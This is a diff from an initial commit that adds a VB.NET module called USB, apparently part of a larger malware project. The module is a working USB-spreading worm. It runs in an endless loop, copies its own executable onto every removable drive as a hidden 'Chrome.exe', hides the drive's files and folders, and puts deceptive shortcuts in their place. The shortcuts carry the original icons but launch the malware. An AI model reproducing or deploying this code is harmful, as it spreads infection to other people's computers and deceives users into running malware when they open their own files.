initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,57 @@
+Public Module USB
+
+    Private H As Threading.Thread
+
+    Public Sub Enable()
+        H = New Threading.Thread(AddressOf WorkThread)
+        H.Start()
+    End Sub
+
+
+    Public Sub Disable()
+        H.Abort()
+    End Sub
+
+    Public Sub WorkThread()
+GoAgain:
+        Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
+        Dim d As IO.DriveInfo
+
+        Dim VbsObj As Object
+        VbsObj = CreateObject("WScript.Shell")
+        Dim DE As Object
+
+        For Each d In allDrives
+
+            If d.IsReady = True AndAlso d.DriveType = IO.DriveType.Removable Then
+                Dim RootDir As String = d.RootDirectory.ToString
+                Try : IO.File.Copy(Process.GetCurrentProcess.MainModule.FileName, RootDir & "Chrome.exe") : Catch : End Try
+                IO.File.SetAttributes(RootDir & "Chrome.exe", IO.FileAttributes.Hidden)
+                For Each f As String In IO.Directory.GetFiles(RootDir)
+                    If IO.Path.GetFileNameWithoutExtension(f) = "Chrome" Then GoTo GoHere
+                    If Not f.Contains(".lnk") Then
+                        IO.File.SetAttributes(f, IO.FileAttributes.Hidden)
+                    End If
+                    DE = VbsObj.CreateShortcut(RootDir & IO.Path.GetFileNameWithoutExtension(f) & ".lnk")
+                    DE.TargetPath = RootDir & "Chrome.exe"
+                    DE.WorkingDirectory = RootDir
+                    DE.IconLocation = f & ", 0"
+                    DE.Save()
+GoHere:
+                Next
+                For Each dx As String In IO.Directory.GetDirectories(RootDir)
+                    Dim dir As New System.IO.DirectoryInfo(dx)
+                    dir.Attributes = IO.FileAttributes.Hidden
+                    DE = VbsObj.CreateShortcut(dx & ".lnk")
+                    DE.TargetPath = RootDir & "Chrome.exe"
+                    DE.WorkingDirectory = RootDir
+                    DE.IconLocation = Environment.GetEnvironmentVariable("windir") & "\System32\Shell32.dll" & ", 3"
+                    DE.Save()
+                Next
+            End If
+        Next
+        Threading.Thread.Sleep(1000)
+        GoTo GoAgain
+    End Sub
+
+End Module